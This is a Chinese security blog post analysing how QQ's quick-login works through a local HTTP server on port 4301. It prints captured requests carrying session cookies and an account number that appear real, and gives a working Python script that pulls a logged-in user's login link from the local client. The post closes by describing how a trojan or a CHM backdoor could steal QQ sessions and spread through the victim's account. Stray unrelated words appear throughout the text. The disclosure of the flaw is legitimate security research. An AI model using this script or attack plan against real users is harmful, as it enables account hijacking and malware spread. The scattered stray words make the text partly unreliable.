衆所周知,Tencent之前使用Activex的方式實施QQ快速登陸,如今快速登陸已經不用控件了。那如今用了什麼奇葩的方法作到Web和本地的應用程序交互呢?其實猜想一下,Web和本地應用進行交互可能採用http交互,事實也是如此。html
https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=715030901&daid=371&ptnoauth=1&s_url=https%3A%2F%2Fbuluo.qq.com%2F%23python
GET /cgi-bin/xlogin?appid=715030901&daid=371&pt_no_auth=1&s_url=https%3A%2F%2Fbuluo.qq.com%2F HTTP/1.1 Host: xui.ptlogin2.qq.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Referer: https://buluo.qq.com/ Connection: keep-alive Upgrade-Insecure-Requests: 1
參數說明:瀏覽器
appid和daid 對應這不一樣的登錄服務,例如QQ空間和興趣部落是不同的安全
Referer必須以.qq.com域名服務器
經過這個請求會響應cookie,比較關鍵的是ptlocaltoken字段cookie
經過上述的請求,能夠獲取已經登陸的QQ暱稱。請求與響應的具體內容以下:session
請求:app
GET /pt_get_uins?callback=ptui_getuins_CB&r=0.70722284119771&pt_local_tk=-1335054259 HTTP/1.1 Host: localhost.ptlogin2.qq.com:4301 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Referer: https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=715030901&daid=371&pt_no_auth=1&s_url=https%3A%2F%2Fbuluo.qq.com%2F Cookie: pt_login_sig=SJ7R2dQseOuqFw5aaI9jiB644Ms5einfscJ5bRwUNQhiODEIvxjXz9Zfl9M7oiXL;pt_serverip=28f40af17263c651; pt_local_token=-1335054259; pgv_pvi=2505876480; pgv_si=s8995244032; _qpsvr_localtk=0.3150553721024726 Connection: keep-alive
響應:機器學習
var var_sso_uin_list=[{"account":"xxxxxxxxx","client_type":65793,"face_index":339,"gender":1,"nickname":"xxxxxxx","uin":"xxxxxxxxx","uin_flag":327156224}];ptui_getuins_CB(var_sso_uin_list);
在上面的請求中,你們能夠從中發現localhost.ptlogin2.qq.com:4301 這個域名與端口,若是你嘗試ping一下這個域名,發現其實它是127.0.0.1。學習
而4301則是QQ所監聽的端口。
使用netstat -anto 命令能夠看到監聽4301端口的進程id爲9284。
而後使用 tasklist|findstr "9284" 命令,發現確實爲QQ.exe
點擊以後必定要注意cookie的變化。
請求:
GET /pt_get_st?clientuin=594675898&callback=ptui_getst_CB&r=0.9726726550496937&pt_local_tk=1692729835 HTTP/1.1 Host: localhost.ptlogin2.qq.com:4301 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Referer: https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=715030901&daid=371&pt_no_auth=1&s_url=https%3A%2F%2Fbuluo.qq.com%2F%23 Cookie: pt_login_sig=f0Eq6l9zHyn*yYdNjJsUDxgkL1TNffDt*Ek7T4uB5KN9uD*SAQhmENn7Tbb2AUkB; pt_clientip=5c490e1116214b49; pt_serverip=aaa20af17263555d; pt_local_token=1692729835; uikey=2ff0398fd9f14f09281e369daf09808512791eccdd166e64088ee1a9bdfff26d; pt_guid_sig=a015dce2e00991b4181682d886b9b8dae892bd36dcb1afe3fcc2e93945a58cab; pgv_pvi=2505876480; pgv_si=s8995244032; _qpsvr_localtk=0.3150553721024726; qrsig=UfyPCl5FKmlPv-LqW1BONsykudZ*eQuMiyxzvPK17SSFISshoJzQNrOzd3tLVx4H; pt2gguin=o0594675898; ETK=; pt_recent_uins=046df7337fa517d209268b658c29ffa7eed66beaed9b66d86cb700aa5bdaf630fd18757dee2e15d69465910176e5cc0328bdfcc212f7fd96; ptisp=ctc; RK=6K58L1C0Zq; ptnick_594675898=e4b880e7bc95e99d92e4b89d; ptcz=b13e557d01d48fb5f7b394288c304db80aea0ab3d62b31b492354e58b627211a Connection: keep-alive
請求:
GET /jump?clientuin=xxxxxx&keyindex=9&pt_aid=715030901&daid=371&u1=https%3A%2F%2Fbuluo.qq.com%2F%23&pt_local_tk=1240200107&pt_3rd_aid=0&ptopt=1&style=40 HTTP/1.1 Host: ssl.ptlogin2.qq.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Referer: https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=715030901&daid=371&pt_no_auth=1&s_url=https%3A%2F%2Fbuluo.qq.com%2F%23 Cookie: pt_login_sig=f0Eq6l9zHyn*yYdNjJsUDxgkL1TNffDt*Ek7T4uB5KN9uD*SAQhmENn7Tbb2AUkB; pt_clientip=5c490e1116214b49; pt_serverip=aaa20af17263555d; pt_local_token=1692729835; uikey=2ff0398fd9f14f09281e369daf09808512791eccdd166e64088ee1a9bdfff26d; pt_guid_sig=a015dce2e00991b4181682d886b9b8dae892bd36dcb1afe3fcc2e93945a58cab; pgv_pvi=2505876480; pgv_si=s8995244032; _qpsvr_localtk=0.3150553721024726; qrsig=UfyPCl5FKmlPv-LqW1BONsykudZ*eQuMiyxzvPK17SSFISshoJzQNrOzd3tLVx4H; clientuin=594675898; pt2gguin=o0594675898; ETK=; pt_recent_uins=046df7337fa517d209268b658c29ffa7eed66beaed9b66d86cb700aa5bdaf630fd18757dee2e15d69465910176e5cc0328bdfcc212f7fd96; ptisp=ctc; RK=6K58L1C0Zq; ptnick_594675898=e4b880e7bc95e99d92e4b89d; ptcz=b13e557d01d48fb5f7b394288c304db80aea0ab3d62b31b492354e58b627211a; Connection: keep-alive
在上一步的請求中,會返回最終的登錄跳轉連接,把這個連接複製到瀏覽器中便可完成登錄。
經過上述獲取的跳轉連接就能夠登陸成功。經過對上述過程的分析,下面使用Python來進行模擬登錄。代碼以下:
import re import requests headers= {'Referer':'https://buluo.qq.com/', "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0" } ##第一步獲取pt_local_token s = requests.session() r = s.get("https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=715030901&daid=371&pt_no_auth=1&s_url=https%3A%2F%2Fbuluo.qq.com%2F%23",headers=headers) pt_local_token = r.cookies.get('pt_local_token') ##第二步獲取在線的QQ用戶 r = s.get("https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&r=0.70722284119771&pt_local_tk="+pt_local_token,headers=headers) pattern = re.compile(r'"uin":"(\d+)"') uin = pattern.findall(r.text) if len(uin)>0: #獲取cookie s.get("https://localhost.ptlogin2.qq.com:4301/pt_get_st?clientuin=%s&callback=ptui_getst_CB&r=0.9726726550496937&pt_local_tk=%s"%(uin[0],pt_local_token),headers=headers) r = s.get('https://ssl.ptlogin2.qq.com/jump?clientuin=%s&keyindex=9&pt_aid=715030901&daid=371&u1=https://buluo.qq.com/&pt_local_tk=%s&pt_3rd_aid=0&ptopt=1&style=40'%(uin[0],pt_local_token),headers=headers) pattern = re.compile(r'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+') url = pattern.findall(r.text) print(url[0])
QQ的快捷登陸是經過在本地創建了一個服務器,並綁定了127.0.0.1,而後使瀏覽器訪問本地服務器進行實現的。若是想盜取cookie或者是登陸連接,須要黑客在你電腦上植入木馬,而後和你的QQ交互才能作到。可是一細想,既然黑客已經能夠在你的電腦裏植入木馬,徹底能夠獲取你的QQ帳號密碼了。難道QQ這種通訊方式真的沒有反思的地方嗎?
我的感受並不是如此!!!QQ並無校驗請求的來源,任何一個能夠發送http請求的程序都可與之交互,並獲取cookie。其實這是大大下降了攻擊的成本,是很容易進行惡意營銷的。爲何說下降了攻擊成本呢?通常的QQ盜號,是上傳木馬,要麼截屏獲取你的帳號密碼,要麼監聽你的鍵盤輸入。這樣的木馬行爲首先比較容易被安全軟件發現,而後就算你獲取了盜取了密碼,在你的電腦上登錄,很容易被QQ安全中心發現,給用戶發送異地登錄警告的,因此利用QQ號碼盈利並非特別的容易。
可是經過本文的想法,木馬在用戶電腦運行,很容易獲取cookie,並且安全軟件並不會從你的請求中發現異樣,當木馬獲取cookie後,就能夠訪問你的服務與資產,好比 在你的空間自動發帖,發郵件,查看相冊等等,並且就算你換了密碼都沒用。盈利的方式多樣,並且成本很低,傳播容易。爲何說傳播容易呢?
我們能夠想象這樣的一個攻擊場景:chm文件通常是幫助文檔或者是電子書,但能夠做爲後門,並且隱蔽性很強。chm後門和QQ交互後,獲取cookie,又將自身的下載連接放到空間等等地方,繼續傳播。
總而言之,攻擊成本下降,盈利效率提升,黑產喜歡的方式。
關注公衆號:七夜安全博客